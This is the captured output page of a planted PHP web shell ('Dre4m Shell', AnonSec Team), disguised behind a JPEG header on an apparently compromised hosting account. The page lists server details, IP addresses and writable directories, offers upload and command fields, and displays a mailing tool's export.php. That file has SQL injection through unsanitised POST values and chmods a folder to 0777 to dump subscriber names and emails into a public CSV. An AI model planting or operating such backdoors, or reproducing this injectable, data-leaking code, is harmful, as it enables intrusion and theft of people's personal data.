ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/seo-mailing/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/seo-mailing/tools/export.php
<?php
if(count($_POST)){
	$data = "";
	foreach($_POST['group'] as $val){
			$result = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_user WHERE id_cat = {$val} AND status = 0");
			while($user = mysqli_fetch_array($result)){
				$data .= $user['name'].";".$user['email']."\n";
			}
	}
	
	if(isset($_POST['asfile'])){
		if(file_perms("backups/") <> '77'){
			@chmod("backups/",0777);
		}
		$filename = time()."_export.csv";
		file_put_contents("backups/".$filename,$data);
		echo "<a href='backups/".$filename."' class='btn btn-primary'>".__('Download File')."</a>";
	}else{
		echo "<textarea style='width:100%' rows='10'>".$data."</textarea>";
		echo "<a href='?tools&export' class='btn btn-primary'>".__('Back')."</a>";
	}
}else{
?>
<form action="" method="post" class="form-horizontal">
<div class="control-group">
                  <label class="control-label" for="group"><?php echo __('Group');?> <i class="icon-exclamation-sign" rel="tooltip" title="<?php echo __('In brackets you can see the amount of email address in group');?>"></i></label>
                  <div class="controls">
                <select name="group[]" multiple="multiple" style="width:97%; height:250px">
                <?php   
				if($_SESSION['PERM'][5]['v'] == 1){
					$where = ' WHERE id_user ='.$_SESSION['id'];
				}else{
					$where = '';
				}
					$result = mysqli_query($db,"SELECT *,
						(SELECT COUNT(*) FROM ".$INFO['sql_tbl_prefix']."mail_user WHERE ".$INFO['sql_tbl_prefix']."mail_user.id_cat = ".$INFO['sql_tbl_prefix']."mail_group.id AND ".$INFO['sql_tbl_prefix']."mail_user.status = 0) as count_user
						FROM ".$INFO['sql_tbl_prefix']."mail_group {$where} ORDER by name ");
						if(mysqli_num_rows($result) > 0){
                        while($group = mysqli_fetch_array($result)){ ?>
                       <option value="<?php echo $group['id']?>" <?php if(isset($user['id_cat']) && $user['id_cat'] == $group['id']){?> selected<?php }?>>(<?php echo $group['count_user']?>) <?php echo $group['name']?></option>
                <?php } }?>			
                </select>
                </div>
                </div>
<div class="control-group">
	<label class="control-label" for="asfile"><?php echo __('Save as file');?></label>
    <div class="controls">
      <div class="switch" tabindex="0">
        <input type="checkbox" name="asfile"> 
      </div>
    </div>
  </div>
 <div class="form-actions">
    	<button type="submit" class="btn btn-primary"><?php echo __('Save');?></button>
    </div>
</form>
<?php } ?>

Anon7 - 2022
AnonSec Team